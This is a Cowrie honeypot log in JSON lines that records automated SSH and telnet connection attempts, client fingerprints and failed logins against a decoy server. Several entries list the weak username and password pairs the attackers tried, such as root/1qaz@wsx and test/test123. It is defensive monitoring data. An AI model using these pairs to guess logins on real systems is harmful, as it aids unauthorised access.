{"eventid":"cowrie.session.closed","duration":50.70736575126648,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:56.428388Z","src_ip":"192.119.13.58","session":"0f79b36f54ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40564,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c93b332470b","protocol":"ssh","message":"New connection: 45.153.34.112:40564 (10.17.0.5:22) [session: 7c93b332470b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:57.115514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:57.121101Z","src_ip":"45.153.34.112","session":"7c93b332470b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:57.204728Z","src_ip":"45.153.34.112","session":"7c93b332470b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:57.452634Z","src_ip":"45.153.34.112","session":"7c93b332470b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.138.168.46","src_port":56756,"dst_ip":"10.17.0.5","dst_port":22,"session":"e463b5a1d549","protocol":"ssh","message":"New connection: 78.138.168.46:56756 (10.17.0.5:22) [session: e463b5a1d549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:58.363366Z"}
{"eventid":"cowrie.session.closed","duration":44.96468901634216,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:58.390823Z","src_ip":"192.119.13.58","session":"9ee57447f8e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:58.538816Z","src_ip":"45.153.34.112","session":"7c93b332470b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.01066970825195,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:00.144707Z","src_ip":"192.119.13.58","session":"73d86557b7c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":53270,"dst_ip":"10.17.0.5","dst_port":22,"session":"605635bfa7b6","protocol":"ssh","message":"New connection: 43.134.175.218:53270 (10.17.0.5:22) [session: 605635bfa7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:00.212626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:00.220591Z","src_ip":"43.134.175.218","session":"605635bfa7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:00.470420Z","src_ip":"43.134.175.218","session":"605635bfa7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41526,"dst_ip":"10.17.0.5","dst_port":22,"session":"132f1c189d31","protocol":"ssh","message":"New connection: 45.153.34.112:41526 (10.17.0.5:22) [session: 132f1c189d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:01.008522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:01.013472Z","src_ip":"45.153.34.112","session":"132f1c189d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:01.102574Z","src_ip":"45.153.34.112","session":"132f1c189d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:01.351631Z","src_ip":"45.153.34.112","session":"132f1c189d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:01.488780Z","src_ip":"43.134.175.218","session":"605635bfa7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52610,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e51d3da0ea3","protocol":"telnet","message":"New connection: 192.119.13.58:52610 (10.17.0.5:23) [session: 6e51d3da0ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:02.099658Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:02.440844Z","src_ip":"45.153.34.112","session":"132f1c189d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:02.739444Z","src_ip":"43.134.175.218","session":"605635bfa7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":58944,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0aeeed9ec53","protocol":"ssh","message":"New connection: 170.238.160.191:58944 (10.17.0.5:22) [session: b0aeeed9ec53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:03.106999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:03.115782Z","src_ip":"170.238.160.191","session":"b0aeeed9ec53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:03.234493Z","src_ip":"170.238.160.191","session":"b0aeeed9ec53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:03.722576Z","src_ip":"170.238.160.191","session":"b0aeeed9ec53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41534,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9a8f469cc9","protocol":"ssh","message":"New connection: 45.153.34.112:41534 (10.17.0.5:22) [session: 3b9a8f469cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:04.501598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:04.508377Z","src_ip":"45.153.34.112","session":"3b9a8f469cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:04.602034Z","src_ip":"45.153.34.112","session":"3b9a8f469cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:04.838933Z","src_ip":"170.238.160.191","session":"b0aeeed9ec53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:05.000282Z","src_ip":"45.153.34.112","session":"3b9a8f469cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:06.100378Z","src_ip":"45.153.34.112","session":"3b9a8f469cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41540,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d654e32a90","protocol":"ssh","message":"New connection: 45.153.34.112:41540 (10.17.0.5:22) [session: 06d654e32a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:08.472211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:08.478452Z","src_ip":"45.153.34.112","session":"06d654e32a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:08.622725Z","src_ip":"45.153.34.112","session":"06d654e32a90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:08.877310Z","src_ip":"45.153.34.112","session":"06d654e32a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:10.064769Z","src_ip":"45.153.34.112","session":"06d654e32a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57612,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd7b18319e7","protocol":"telnet","message":"New connection: 192.119.13.58:57612 (10.17.0.5:23) [session: 1fd7b18319e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:10.158143Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50836,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9569bd7d1b6","protocol":"ssh","message":"New connection: 45.153.34.112:50836 (10.17.0.5:22) [session: e9569bd7d1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:11.967465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:11.976470Z","src_ip":"45.153.34.112","session":"e9569bd7d1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:12.074275Z","src_ip":"45.153.34.112","session":"e9569bd7d1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:12.453332Z","src_ip":"45.153.34.112","session":"e9569bd7d1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:13.543374Z","src_ip":"45.153.34.112","session":"e9569bd7d1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.34590482711792,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:15.179173Z","src_ip":"192.119.13.58","session":"de815568ed71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50838,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b61f4b00b5","protocol":"ssh","message":"New connection: 45.153.34.112:50838 (10.17.0.5:22) [session: c3b61f4b00b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:15.847926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:15.853486Z","src_ip":"45.153.34.112","session":"c3b61f4b00b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:15.936119Z","src_ip":"45.153.34.112","session":"c3b61f4b00b5","protocol":"ssh"}
